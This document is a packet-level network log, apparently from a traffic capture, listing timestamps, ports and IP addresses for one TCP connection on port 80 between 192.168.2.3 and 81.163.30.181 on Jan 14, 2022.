Jan 14, 2022 20:23:54.083228111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083230019 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.083282948 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.083288908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083348989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083451033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083512068 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083559990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083606958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083636045 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.083658934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083662987 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.083712101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083753109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083767891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.083801031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083854914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.083858967 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083901882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083940983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083976984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083991051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.084016085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084052086 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.084055901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084095001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084100008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.084135056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084172010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084209919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084224939 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.084249973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084254980 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.084286928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084326982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084363937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084374905 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.084403038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084409952 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.084443092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084481001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084520102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084532022 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.084559917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084566116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.084598064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084636927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084675074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084686995 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.084714890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084718943 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.084762096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084820032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.084867001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.130964041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131026983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131146908 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.131433010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131480932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131493092 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.131520033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131558895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131580114 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.131599903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131629944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131669044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131675005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.131725073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131756067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131758928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.131793976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131805897 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.131834030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131874084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131910086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131922007 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.131949902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131989002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.131992102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.132028103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132042885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.132070065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132108927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132148027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132164955 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.132198095 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.132204056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132247925 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132324934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132374048 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.132381916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132440090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132455111 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.132483959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132524967 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132564068 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132587910 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.132603884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132616997 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.132644892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132685900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132725000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132740021 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.132766008 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.132781982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.142442942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.142553091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.142682076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.142724037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.142761946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.142801046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.142827988 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.142838955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.142852068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.142878056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.142916918 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.142930031 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.142956972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.142996073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143024921 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.143034935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143071890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143086910 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.143110991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143150091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143178940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143208981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143239975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143270016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143299103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143337965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143342018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.143378973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143395901 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.143419027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143438101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.143459082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143496990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143536091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143539906 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.143574953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143596888 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.143615007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143655062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143692017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143722057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143763065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143800974 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143840075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143878937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143917084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143955946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.143965006 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.143995047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144007921 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.144033909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144073009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144112110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144130945 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.144165993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144206047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144243002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144262075 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.144283056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144296885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.144320965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144360065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144401073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144434929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.144438028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144469023 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.144478083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144517899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.144532919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.189876080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.189960003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.189999104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190083981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.190118074 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.190469027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190510035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190548897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190565109 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.190587997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190625906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190664053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190670013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.190701962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190702915 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.190742016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190782070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190819979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190830946 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.190856934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.190859079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190898895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190934896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190973043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.190977097 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.191014051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191025972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.191055059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191093922 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191131115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191138029 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.191170931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191174984 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.191210032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191246986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191286087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191288948 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.191324949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191325903 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.191365957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191405058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191454887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191461086 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.191495895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191498041 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.191536903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191574097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191612005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191622972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.191654921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.191658020 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.201673985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202066898 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.202126026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202164888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202203035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202220917 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.202241898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202281952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202284098 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.202323914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202362061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202399015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202409983 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.202438116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202444077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.202476025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202517033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202553988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202564955 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.202593088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.202594042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202646017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202686071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202723980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202727079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.202761889 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.202763081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202801943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202841043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202879906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202883005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.202918053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202919960 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.202955961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.202996016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203032017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203033924 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.203071117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203073978 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.203109980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203149080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203188896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203191042 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.203224897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203228951 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.203263998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203303099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203340054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203351021 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.203377008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.203380108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203418970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203458071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203505993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203541994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203546047 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.203564882 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.203581095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203619003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203656912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203675985 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.203696966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203735113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203742027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.203790903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203834057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203849077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.203872919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203880072 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.203912973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203952074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.203989029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.204020977 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.204026937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.204040051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.204066038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.204106092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.204153061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.248991966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249046087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249085903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249125957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249162912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249201059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249238968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249278069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249316931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249352932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249385118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.249392033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249417067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.249422073 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.249430895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249465942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.249483109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249531984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249583960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249608040 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.249624014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.249624014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249665022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249703884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249718904 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.249754906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249795914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249835014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249851942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.249886990 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.249919891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249960899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.249999046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.250036955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.250055075 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.250077009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.250082970 CET	49866	80	192.168.2.3	81.163.30.181
